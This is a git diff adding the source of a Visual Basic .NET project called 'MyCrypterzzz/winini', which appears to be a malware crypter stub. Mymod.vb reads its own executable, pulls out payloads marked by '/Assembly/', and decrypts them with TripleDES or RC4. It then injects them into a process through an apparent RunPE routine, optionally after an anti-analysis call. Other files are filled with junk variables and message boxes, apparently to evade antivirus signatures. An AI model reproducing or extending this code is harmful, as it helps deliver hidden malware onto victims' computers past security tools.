msgbox("WfwfHiYWyEmMDbatflhaljJzRtlJXfXXfiEUZJOuApIUWCHUpBEKnMazSmPBTdUJkSznDLqWuicAHPgCWZIMkUfphAgMIjqOYjQckGsiUMLffgNJDverYscsCcVjWxskiifwgxYTaYLmVRewJXVpahdPRVrBkvnMTKMznQKTImRBJwOxYPsWfQkVUwCxOJuwEKN") + Dim WROlyGvxBsKwsTreVUFHupbFbbljdSeOcMfVsjgiTWgIiauCDRZRSMlA As Integer = 9362423 + 517071 + 517071 + 348702 + Dim xacMuEosObwJKRDQ As Integer = 4946922 + 717920 + 1087138 + 1087138 + Dim HVIvjbvjanRPIbyqmkEslptYKjeWJRGhPvnrjHJbDrlL As Integer = 6879251 + 918769 + 258966 + 258966 + Dim aOcavhtUqhFNxOPcdHoMScdEcBLIZsxgRxykuHBzyTLxkaGkSEDK As Integer = 8811579 + 459815 + 459815 + 459815 + msgbox("bwKTfeoQxKHjliteDlevtERSkWIgxquzSSPCiDPnhEiiKxoWsRlfctfiVSJMHDehSYagPFZXtgYClShhppcXzeTlGdcBFQcjWfzgvWzUbFkSkhGNnUMzgzPekTWZLQXHbzvevrZibpbHcdtQjVwmrsBMFBKutxCawVBkGgMozGvixcr") + msgbox("XjXAFIxtiPRipiHnGzZxKHItsLCxgJnWdRZmOaNJDHwwZCsQAeFLgHcrKRVNDeVMdGGFBNSeaSiGnSpigVqMKHWHbLOknzmFXiuZFXfYDFGgfmmZIpikzRPOxalUiUQLlwmzTNKcNKoqeBNrSWAqCvLaRJPwNwhMaxepANbgmkaBrlnauRqscWefRNvflJIyXnQIIwCXIfLZbThMUcxGhVqTenYkIhOJKTrUzrFrKysa") + Dim fuSfvAIEHiUwFaCrFhYNDTkgxsytURWBbSMMNVnyZkFWuRuPoZPiHHNN As Integer = 813476 + Dim uwQUWkGlPikyBVyovCdvBTmIRhhbCLwnPpUzBhDjFJXumrCgGGHjOznX As Integer = 753618 + msgbox("fWjXeAjXoEjCWBSoMsZrxNnlToMVWOjXQkQGzxBfTNAlCSZIRtEFcRdSEJvwgxpzgnHnHCExrUBSJuFfEYrQbhwSkaZYIsUFXkxWoyloEUmEOouqnZaBLCOigHWJWrDQMCpLVJlmJGYDsXgXVtTVJwUxuyALyPcPAkzMdFuaHbYXYPDIDakfvmCscvanPghjpdpin") + msgbox("eLSzTAiKZbimfSymBDGlAatWLLxpcHrXCexFQSEavSzZJFMPLtZGKnmBqIBwFcQyYQjEtFdsWHgbHzVXubhZoFcBaBdwRNEvuRpFeivvDqtBzUMrDuqyNxFDSmrxlkvwQcgQyVtRsOzGPmaHovRkJlJpSJGIqOejqsUtdoMorWOzdVAACZYtEpctcOllHVtrTIWwvIquBJAnRrbEwaYfaexzvvnMZdADTziczSSXXYfHVrCWuiFybQkjByWgvWuuUTKyg") + Dim yRtpCGjAhqPTKZZTpJOkwiQNYlWVqVUeUqGtQruMUVBfOsdcycbuYmGr As Integer = 7602295 + 993924 + 334120 + 334120 + msgbox("jEinZuqoJuwYTmNzUEPCAIcHXrkNjqCcuBGeRRbcMeHrIkaxWIVbAntiVaIZzpRBazlOtywYEJwlgqatuMqXynPIiasQnhOodvlygKpKndfPRZDTpLnxVdePNnCvbnhYEjWrGVxUOiUjpHyHKAbLscalKIBUrdNlFKFAvBGliTfDdJyqFaWTtHu") + End Sub + +End Module \ No newline at end of file diff --git a/scode (MyCrypterzzz/winini/My Project/Application.Designer.vb b/scode (MyCrypterzzz/winini/My Project/Application.Designer.vb new file mode 100644 index 0000000..832e2ec --- /dev/null +++ b/scode (MyCrypterzzz/winini/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.winini.Form1 + End Sub + End Class +End Namespace diff --git a/scode (MyCrypterzzz/winini/My Project/Application.myapp b/scode (MyCrypterzzz/winini/My Project/Application.myapp new file mode 100644 index 0000000..fbb5858 --- /dev/null +++ b/scode (MyCrypterzzz/winini/My Project/Application.myapp @@ -0,0 +1,10 @@ + + + true + Form1 + false + 0 + true + 0 + true + \ No newline at end of file diff --git a/scode (MyCrypterzzz/winini/My Project/AssemblyInfo.vb b/scode (MyCrypterzzz/winini/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..07631b1 --- /dev/null +++ b/scode (MyCrypterzzz/winini/My Project/AssemblyInfo.vb @@ -0,0 +1,39 @@ +Imports System.Resources + +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + + + \ No newline at end of file diff --git a/scode (MyCrypterzzz/winini/My Project/Resources.Designer.vb b/scode (MyCrypterzzz/winini/My Project/Resources.Designer.vb new file mode 100644 index 0000000..8063e13 --- /dev/null +++ b/scode (MyCrypterzzz/winini/My Project/Resources.Designer.vb @@ -0,0 +1,63 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("winini.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + End Module +End Namespace diff --git a/scode (MyCrypterzzz/winini/My Project/Resources.resx b/scode (MyCrypterzzz/winini/My Project/Resources.resx new file mode 100644 index 0000000..ffecec8 --- /dev/null +++ b/scode (MyCrypterzzz/winini/My Project/Resources.resx @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (MyCrypterzzz/winini/My Project/Settings.Designer.vb b/scode (MyCrypterzzz/winini/My Project/Settings.Designer.vb new file mode 100644 index 0000000..5f28270 --- /dev/null +++ b/scode (MyCrypterzzz/winini/My Project/Settings.Designer.vb @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/scode (MyCrypterzzz/winini/My Project/Settings.settings b/scode (MyCrypterzzz/winini/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (MyCrypterzzz/winini/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (MyCrypterzzz/winini/My Project/Settings1.Designer.vb b/scode (MyCrypterzzz/winini/My Project/Settings1.Designer.vb new file mode 100644 index 0000000..6120ab1 --- /dev/null +++ b/scode (MyCrypterzzz/winini/My Project/Settings1.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.winini.My.MySettings + Get + Return Global.winini.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (MyCrypterzzz/winini/My Project/app.manifest b/scode (MyCrypterzzz/winini/My Project/app.manifest new file mode 100644 index 0000000..eb3c3ae --- /dev/null +++ b/scode (MyCrypterzzz/winini/My Project/app.manifest @@ -0,0 +1,22 @@ + + + + + + + + + + + + diff --git a/scode (MyCrypterzzz/winini/Mymod.vb b/scode (MyCrypterzzz/winini/Mymod.vb new file mode 100644 index 0000000..482bcd7 --- /dev/null +++ b/scode (MyCrypterzzz/winini/Mymod.vb @@ -0,0 +1,101 @@ +Imports System.Windows.Forms +Imports System.Text + +Module Mymod + Dim res As String + + Public Function ReplacedrandomNumber(ByVal min As Integer, ByVal max As Integer) As Integer + Dim Replacedrandom As New Random() + Return Replacedrandom.Next(min, max) + End Function + + Public Function ReplacedrandomString(ByVal size As Integer, ByVal lowerCase As Boolean) As String + Dim Replacedbuilder As New StringBuilder() + Dim Replacedrandom As New Random() + Dim ch As Char + Dim i As Integer + For i = 0 To size - 1 + ch = Convert.ToChar(Convert.ToInt32((26 * Replacedrandom.NextDouble() + 65))) + Replacedbuilder.Append(ch) + Next i + If lowerCase Then + Return Replacedbuilder.ToString().ToLower() + End If + Return Replacedbuilder.ToString() + End Function + + Public Function GetReplacedrandom() As String + Dim Replacedbuilder As New StringBuilder() + Replacedbuilder.Append(ReplacedrandomString(4, True)) + Replacedbuilder.Append(ReplacedrandomNumber(1000, 9999)) + Replacedbuilder.Append(ReplacedrandomString(2, False)) + Return Replacedbuilder.ToString() + End Function + + Sub Main() + Dim Cuttkey As String = "/Assembly/" + FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared) + res = Space(LOF(1)) + FileGet(1, res) + FileClose(1) + + Dim Cutter() As String + Cutter = Split(res, Cuttkey) + + Dim key As String = Cutter(2) + Dim entype As String = Cutter(3) + Dim antyw As String = Cutter(4) + Dim processZ As String = Cutter(5) + Dim mlt As String = Cutter(8) + If processZ = "own" Then + processZ = Process.GetCurrentProcess().MainModule.FileName + End If + + If antyw = "true" Then + ant.mofo() + End If + + If Cutter(6) = "yes" Then + If entype = "tripleDES" Then + Dim Str As String = _3des.a(Cutter(7), key, True) + Dim ByteArray() As Byte + ByteArray = Encoding.Default.GetBytes(Str) + Try + rp.MakeIt(ByteArray, processZ) + Catch ex As Exception + + End Try + ElseIf entype = "rc4" Then + Dim Str As String = _4cr.enc(Cutter(7), key) + Dim ByteArray() As Byte + ByteArray = Encoding.Default.GetBytes(Str) + Try + rp.MakeIt(ByteArray, processZ) + Catch ex As Exception + + End Try + End If + End If + + If entype = "tripleDES" Then + Dim Str As String = _3des.a(Cutter(1), key, True) + Dim ByteArray() As Byte + ByteArray = Encoding.Default.GetBytes(Str) + Try + rp.MakeIt(ByteArray, processZ) + Catch ex As Exception + + End Try + ElseIf entype = "rc4" Then + Dim Str As String = _4cr.enc(Cutter(1), key) + Dim ByteArray() As Byte + ByteArray = Encoding.Default.GetBytes(Str) + Try + rp.MakeIt(ByteArray, processZ) + Catch ex As Exception + + End Try + End If + End + End Sub +End Module diff --git a/scode (MyCrypterzzz/winini/RCyZjqbYzUcQEfmjWRSf.vb b/scode (MyCrypterzzz/winini/RCyZjqbYzUcQEfmjWRSf.vb new file mode 100644 index 0000000..b04287c --- /dev/null +++ b/scode (MyCrypterzzz/winini/RCyZjqbYzUcQEfmjWRSf.vb @@ -0,0 +1,150 @@ +Module RCyZjqbYzUcQEfmjWRSf + Public Sub FmvRjbNbrIQnGciWLMxgiHsXvVGgglDRFlHNFgtwtS(ByVal RxhkFPkBBdvBWTjQzpblLzaTrlwdzOUvttungEPoLfDtBNKR As String) + Dim eJfrcwFkxnjGcltZuf As Integer = 1945596 + 405958 + 775176 + 775176 + Dim DaJNLYPJwKoHIUlrjPsLVnrUrr As String = "jsVXPSEINSiwhWxlcHtFUVObnxfDtcFxUoVOqezsZdRFBTsBH" + Dim bDobsaTJqHHLCQKmAKemjPFwK As String = "rcMNokyqPwLUqxoNoYHYYlghLqeSkmtXiSnqnnpQlpIzlHaDevuoeWxWUxrrPIl" + Dim OGnRNuYMjaKWFbdXvfCIlmMzJlSjHvsKtOWmjgJPqHHHVItqwIbNjAy As Integer = 766371 + msgbox("zdjcLbEgNoXaznJZncxHMDkHinxdGVMQNGypHoRuUbkKgjzVBkcDNgGaheHDaiIaswnmKqXrqkxEzjoeojwuqqwycuFWbQFuDGgpKQXQoWobrVgvOhhBkOHYirVDwCEUJuCTwvUOfukyzdaQqmJtkjqtNedVaaHwYSesHOPgcLLqKmZkjGFsejxFgPFsBSQULkoigDJMu") + Dim BFqYGdaasAVNZnXavJShRnVQEZbTtTWJDPPtVHRNuBiswFGWcVvIRUJ As Integer = 9362423 + 517071 + 517071 + 517071 + Dim DijgXzZDpGqJZKOu As Integer = 4946922 + 717920 + 717920 + 1087138 + Dim HpbTKRXYKmWDxLIocdxCvDtSBtHeaNwoZmTFtpqAdjVlOXouMQ As Integer = 6879251 + 918769 + 258966 + 258966 + Dim vJexBxiRPKAFgTKldWeCPWRnfZXsMwKdVqpTXcMSxxXmBTkokHMq As Integer = 8811579 + 1119618 + 459815 + 459815 + msgbox("DDLOlwRuEQywXKjtKJOBCrxSSSMMjkZmjVcRmsXBkIOhszOXKqQyCVXBhYuHRgDBlfCaJlMZneJVBzmmUJZokOSqtBaXBjYEkLesQrdhBhWWmdisPhdEBSvtdWrqpozDHhvDGEjgCmpQCiRzXgReEbVRNEjuiruGgOqojUufQODnzICOScewukHTZUqShnYWgdEhziXmTjBV") + msgbox("FpUbatbLYJONoIsPfImMNzEvSiYvFSprspccAjKxzXxnjShkviBxRLGhaIBtLBorzwfHDESaQfNhiboTiCwFOBfRBqWgMKcnikxDREuIdIejUkHfBrraoZWNDICvruzsBiGXnlJwhSjbviiIeHwXgZlpjPdiHBVLRIFFFmudfxVlKLq") + msgbox("pYlsjkiWDgyYMSIbFUJoPIySvVHOBmYdgwJsmlfWnqLJxGpGTSszvjUFdqqeHOHjxvXVxehZEPPWtUwyHFXkMNuvNUNsivrxEjffXowOXdNNapsDhtKYWsegHSRlGyHkObmWqvnzRzyOypcpCBnlmjuRGCRYYxCWlGDANxdtwWsERS") + Dim JOOmkqfOoksDBUltghzFCVzjyuWaDNckLxRFuYPsBIPsOKGnnajtPZ As Integer = 813476 + Dim hNyfEVOcwBIvsYcuqCemjetapQkFyEjcmjbZmXIxXODTHiorEFsgzqoz As Integer = 753618 + Dim ThrimkWsUPMrWVVyUorTVOyZlbutQtkFvYIHjnuElXpraOyctsYhwvq As Integer = 606360 + msgbox("wxdJkFFpVVBtyfHmwOkabDvRryrwQCSRUNivZhiiLlwkrCmAtNVZLBrLNfUwMUwsJrIheeMjrschdFpJRuTyiBtAIyzEAZadjZmUsLAUihbnECXpmyMznSJNzsOUbeOyRyDJLqHPEqcCQHtTZPieTOvYGBvvjUfaDnDeinybKLcGjLXygQoYFLKzPdiUzAidaDsBC") + Dim qqGKHMuHtjsYUqjeheDgLAaVlKMfLgUDMgbakJNSRxLxMXSujjNiKrve As Integer = 7602295 + 993924 + 993924 + 334120 + Dim ZUCjtGRgqGyrzYk As Integer = 4806635 + 703338 + 534970 + 534970 + Dim HHaJFxLzFyVwTGITMnrtazLjR As String = "MpjFcQGwnmvtXbOhiZoNnkxiIvQmcFoYPRzVpJWYHJdqDkQtJpDqhpCSgyTw" + Dim RiRSSlGOwCMyzlxywRzQmoTSPJKCzLGZhFxvBSNBoETwUQftDIpNNhQ As Integer = 703541 + Dim KQbHopfcqFm As Integer = 8671292 + 1105037 + 1105037 + 445234 + Dim gVeLsMZttTfKOVCcXWbhtTTMo As String = "qSXvbIYqLFqffusZIvAbkZxEORzVHUvcMrqbeNRiMRJN" + Dim UWDepDuHMgqsr As Integer = 4255792 + 646083 + 646083 + 1015301 + Dim pOjeTlwQFHHTycJsHbBNPGTGNtTcwKgQTwXxNHYNZLNCBNWxIbwqnUZz As Integer = 800723 + Dim wKhMceDdHRYgXPGIXgYbZOPolyVIiHNrHQCrYlvJmEbZdjrbtlANGvrz As Integer = 653464 + Dim hgQCWsNmIWUvBxoEmMpgdgNjUchTEUePKdlKsqgvspDdCwhDDZVpGsxbKJ As Integer = 9740290 + 556347 + 556347 + 556347 + Dim JuieTlKElRcmwawJGi As Integer = 5324789 + 757196 + 757196 + 588827 + Dim SSrtdcGjKfQOKZDxljfRsfHDpX As String = "hwqfznFmjcQfsCCwaLLZorVJLMOdYcSaKtHLJvNRltaNVIyQ" + Dim cqoMkvrJnLjaUmHRckQupUHBNEnPLMXxLcsEFQdFizrkxIVvutobHEg As Integer = 750646 + Dim wHvKXaVIUREpnq As Integer = 909288 + 1158894 + 1158894 + 1158894 + Dim RDFviFKLFsqBBWVYNNdTisZkkz As String = "sVbRGDXMmacwvVrJzBliXNYPCFHoRRgPNMveOyoGTlenic" + Dim GBvKaLbBJsuQVKDYKPlzWaZdOYVhpBmsfxrOrysLRnoorBDxVMrlIwB As Integer = 672161 + Dim QhMSMBqmBEhbMKULaYgnazpOzZcZPHJyshYBJZhayijEcSnjTEGMFBAa As Integer = 524903 + msgbox("EoOjkNITtMoHGVeqIVSXgHMxyswafPtGdFkNjfwdssyNkvNOPQlGQtbfSgADWMtmxSgSkaPHGCWsCVJKTkwZKSqcJMpoEvsifFSQXXtTkfBMPWpRAdurTGaaHmKvlvKkISpTGwBCKckkgaZZuybWCkQtIGmakShPHsrrZLvRwRZIJjVjvmeSg") + Dim ZAWRcrCTAxZCMqcDuyDwOCSpqSqXrbtpbZCPOkSuIYCyjsTrqYo As Integer = 6706274 + 900790 + 900790 + 240987 + Dim STZUtBPukhN As Integer = 3910614 + 610205 + 441836 + 441836 + Dim KnODriZyrkWJNfYCCOYIZnucja As String = "COjjQxKvbrDqWXWRQovtBATJQlqcXvgFzmfuIjHrvsVpwWFslVWRIhHD" + msgbox("IaicAkGQbDchzbrHiIJbatcKSATKIZaPgBUXAfeSNRSUKUnqPOnBSWkOetAfEQJsLTvMeEhoBjITBjhrIzqPDcVuYEsfXEOVGDgkUGMuChUSFWVYUpoHSNfRHJQzvrkLZhxgDnNyVnXFFiyBIOCRsfJsnjqcGdSdXhNoOCfPPbmVjWKngwAiKeCoYGmCmSHnJezxjzKGta") + Dim bndqamxsFIYRlNdCbLBTnNuxfFayLcZSOynLDlQMDnWbcZtdgybaSQK As Integer = 7775271 + 1011903 + 1011903 + 352100 + Dim uqvCbsQbSsCRBmte As Integer = 9707600 + 1212752 + 552949 + 552949 + Dim BwVpuoqBKNboYCZFJFzuJJokVo As String = "oKfhHalOdempWriQSCWCTePMdpaNnnKpeJYfjjqJNJpythugTxheONAuJNHSeCF" + Dim VZjgQthgrxlrHSmOdJPlmMNfkVteSjbaOLNYDAkxYfnblHdHDhhXjXY As Integer = 719266 + End Sub + + + Public Sub AXHnoOaQQPtQQWJWJiTVoQQLneHpZ(ByVal BKrkJNUDMvIpLktlXKEQRoyBRbdsRaFHAEikmpDIcHBYRwaoX As String) + Dim tRszIvIPrShjaIuKbkslrRbIOrkzDyCyUYWNUHedXMpocEFfAAdlYa As Integer = 2496439 + 463213 + 463213 + 294844 + Dim uGFvKOgejjLjwdwkndmGGunQKDQmrfe As Integer = 4428768 + 664062 + 495694 + 495694 + Dim yTsOlkXByeCkrdibkPsFpswpCN As String = "BSeyXKrDYgGhMaHrJPNWtBpnTTXBEzmAmTlvsutYJzXWjnmEWhvMEbxRVwp" + Dim NpWKdZrsKwiDsTTJAjPDfVuHxrUfCUbytQlqOYRrpfRCsfRRMEPICGD As Integer = 992114 + Dim YPOSpNmIABZGrkJzdobcYjNOdjeabFhdthVSaCmGNxlUBEMTshoRUudZjHr As Integer = 8293425 + 1065761 + 1065761 + 405958 + Dim CTfNadkITWvceEQSNyPqsXKMaANJeSrsZBuop As Integer = 5497765 + 775176 + 606807 + 606807 + Dim LlHkavodsMrXTasOcPomfxblMa As String = "RePNkOEZYqIWSUyfNfrsNacdqFNIIvYtGtWsxYiNeJsxGErFYmBTSQxBYBcxklRG" + Dim wOyBJjbTVbgazBhCkInUvDiLGfkPdVJaLryEybQDGvvMBLLyGZFbBDdk As Integer = 619113 + msgbox("ZelcHFKPXhUccKTrMigbBsgDNDgTeermkggqQZKrNvTIBnjXsicgIZFIInihbejMwxEpOMbtCDuUvWEIlxDxaYDeAvFcLTpaPSTXnXukpGocxpgrBGGvJlYvTokJwRgvaZlKKBYHxKsVIuGrdtnVYUsdBzaYwhjsRAHxvEpfQxHspwFdGrzUihmwoKcQcWZndejfGqUZ") + Dim ybhRqkJtBqrEFhWPhkXvBJSVRHEgfpCPMLBnmMiChduDlHtJYtAxnXRJ As Integer = 9362423 + 517071 + 517071 + 348702 + Dim sPtdkPXXbmkPYlgH As Integer = 4946922 + 717920 + 717920 + 1087138 + Dim EiFLiXYHFlIzHGicaNqkctutDWHiTpXjfSQpSICUWdKG As Integer = 6879251 + 918769 + 258966 + 258966 + Dim hHqAhTmdNrhImtRBhtVsMFuKHpuMKXkhhWDsYqeaEWfHLILGBgXwa As Integer = 8811579 + 459815 + 459815 + 459815 + msgbox("RoceRmVgumprTJICCaVtDDFxmpxVbDZyYfDxkqBhOPFCQfMmLMXvTxFwsMMogEXIoBiYGVaODsfuhEVTrtDbLUjVljkvlVkjTtOLKROPwYMgbHFkdWIyqwNJzKMExejPuIqWDGnaaHucGPlcDxgbNELQqmdXGopAwJVvOQiYxZweFhiyYSanUzjRcGhVeUyUKOXsSUcYtvC") + msgbox("WKFSjhSJprYEafltoFatzQjFLwAsDVxORNjUPlUMFalVQvfkuHNBPtVnuGtzcOOVfXFIvDwDRgxEQunoISUOoUtUEkWTVGMAXTfppZEPqIAokjKJpqtIHHtaWdEqwAJTucfNFeinnVFAZwlwkkTMJMHtXrIAZhWWhDcGpMZElOOVx") + msgbox("EObpdYRZbsiLRfGDTwDlJabxwHKXHfqqfpmpgHoqXKLpxiKDhQRlrdVFCEfdrfmXfFrXxOACyCbPDbFrsGbIWAVIkhTsKoPTawQwkjKyioNCyaVviqdTfJIoGhsixJfkNKuyJYPTRGKRpBqlKSYFHTGMqeGftBJeipmZZzUERkiPoSEJBPUBViEwySIYSZHeyuTtUxZxkIUjGNKVqtaIjDptFagHMbfZgRdkxgCYMNzQA") + Dim PhdvkNaxPlkuDtHFygjTqWZZNFmHJnhIQGboxETRFScIsegmsgmDKwwN As Integer = 813476 + Dim YTULLIHnXEkLrzGqinREabSJyPsapgkkLhCjZTWEoIQwJckUDJIGjHCZ As Integer = 753618 + Dim JvdAfYlRaRdiMQPjmXRZpDNhnCiMPRbNgdkddWJItTwNsBbJLnArFqE As Integer = 929284 + Dim NJyuVTlQPQPTbiVnSVlZejIkfzYOaZbkoVyDulHVaIJSeUYvxWKaFUP As Integer = 7602295 + 993924 + 993924 + 334120 + Dim tCasdPzCXjzkgvPGdhigkidJRHSYnLSCi As Integer = 4806635 + 703338 + 534970 + 534970 + Dim AcTCPhYlbZkGMkHrSxuPBkHwJ As String = "WsRpFlKDEpJiqNEPAcwBUBralCIjAxaHwaHbDQJLxKNCZiuPaddSUBCmGZwVS" + Dim PfNzUSGKchJgmvBPVIqaKlhsxUDXswyYwffvkEyiKhShHYIWQWAAWpCm As Integer = 126466 + Dim qMbWFmCAJTtgMoEwqnWUI As Integer = 2323463 + 445234 + 276865 + 276865 + Dim kkcqQvzbSXdYlBLiyHXVhdGxisbHQ As Integer = 4255792 + 1015301 + 1015301 + 1015301 + Dim iTeavWFEEYjcUoLnXjfjpcXwtKLpEUSWNntSNmICtDtxNRuqVwrUAz As Integer = 653464 + Dim LorBStIXGmUlogYYnMHFGcSRFqEpFzQCmMTnOpRJPDtscrPbCDkTeZeX As Integer = 976389 + Dim UWDhWftZUgZrudaaweNFvbzRDn As Integer = 3392460 + 556347 + 387978 + 387978 + Dim JGZprPuEkhMIULuMJwkJirHmebtPtDUlzsxa As Integer = 5324789 + 588827 + 588827 + 588827 + Dim fwxeaWDgaThwmWYjCFtYvCkRdhdwSsYxWOTwiYWCidEZQBlnPrOaEjUU As Integer = 750646 + Dim rMhOqKapIiqFukJsTSMlspTFcdpgJjTizrWMMRWvThgPipVWyysZuLR As Integer = 173571 + Dim XPeCcdUCdhuYprDvhqhrKceukQsmaCWxNvhJNHdjBGvRlwtLpmZWHs As Integer = 9189446 + 1158894 + 499091 + 499091 + Dim wgjqdThyCVTbYIXlxpdXedRGz As String = "cPONaURSjqWNjreUhEljGwaZOBruJIGGaSLKYESytBXNbleRxorhHFKjuewOz" + Dim sUqEhDxbEpxOuVGvhUuraIlGalYqvWsPoGMFvUfmCKuzGjYRCOviYzyJ As Integer = 524903 + msgbox("uwCljBntatVekhQTwQVFymujWzRxEyvxEIwSmodKQEunKvJsRcSLpqrLlTXuXNpAurkhImBqbPgWaCkfLeKuGjkMrdQoNaEBDhTYLDiFxIiatJVzTDyELZAIaNZorSVUKylJtCYSRtgasYehiiTTQSdEbyPWFdiKcRRTiSaYkWzHdUgySbsaH") + Dim iyFlMMVasgsqRKTqAakSBjkwryBgxSBaybrIuKqgdSJQWGsYikj As Integer = 8326115 + 900790 + 900790 + 240987 + Dim vGDGNDXjnRd As Integer = 3910614 + 610205 + 610205 + 441836 + Dim DfVgTUMwOUOwHUnNJawWtJCBXW As String = "sICliEbkcIMtSySLYXnjTGoqjQJrGpbkDeeiEzGwtDxhTzKBHFnvErHSNE" + msgbox("BSoFcVtNynUUtQGTpUgouOjkGwxXaCwqpPJVKqoRZCBBTkSXDfYCOUXKivMIFoJrlRiNJBfieIVrWpJitCzwNVcbudIfBPsOIihVbbRjuKSwbSrmbTFNNhNNIRCarTDPIeFPvKribcfPDwjXazggOzscBfgaevGAMZteSxSofxeBWBzRPQmUShbqkNOrPgxpkwuiLKs") + Dim klMKKIQzxrqGqgUmJCsXGUfCyLQjDCjKpQngrdJDhwuoPqyaWsuzbEnu As Integer = 9395112 + 1011903 + 1011903 + 352100 + Dim BDKvhQaKUYzHpsRu As Integer = 9707600 + 1212752 + 1212752 + 552949 + Dim bzgAltpRWvVdpzsSQwpZQCRaiF As String = "yHOBrvEVVNFdcKZCYeDYGLhUdVlWtdSaBLNYPJOwiDwQhvUNMJcCPzYexXAUVaj" + Dim MiWiOhMGYeGhkuhDkQPZaskEkuuJlQfYtDvyIzyjkhcYwVIKRjHGKVJ As Integer = 719266 + msgbox("hzdgBMqFFkbvCxnYzhXVLxnxbeZJtkutNSlUvxWwgMmuTLRkPeipNoKtLaQsghOKBIfnGzKURvrQfHQjRpxDZfzpxXFxQDMkvHptzSCqTtkWFHpeZmycWeizsYuuZiGAyxSTzncItkNlRIcxZTGtGciVLPcdjXjfVujpbsNEtOpQseSXTgkJGtonFrPHWs") + msgbox("ZtOtUtYEgnQOMjXMRixlNzzvCrCIHKLESBnmzetJWGvOmngfhelrmHlIyxCIOZSjdPFLyTRTKqqhRlUWnOWQRNqbrbvplCvNEyZrnZjsFJwZRUogANlVFxCaspfvjctoRCImNBHPOGhcVQiGETdVYplxJsGLHvbdiyjRweoXfsRykoFJmuVlHyeBrNtELiOSMUxypqhJUZbGBYIjPzmnuIkiDIUukXGCSYZAgTnWuJnWGCrcBrGvZBDnIkKDTx") + Dim jTkWTfXOrWgAEdlZdfXvqh As Integer = 2496439 + 463213 + 294844 + 294844 + Dim YDGenOYuHWTReKFMpyuydwTkMiKXZkz As Integer = 4428768 + 495694 + 495694 + 495694 + Dim nlZteDNcuVjEGXeeOOYFaaOSgWgHaFCwOiycVbnQCGhocLzJPQmzvdF As Integer = 669190 + End 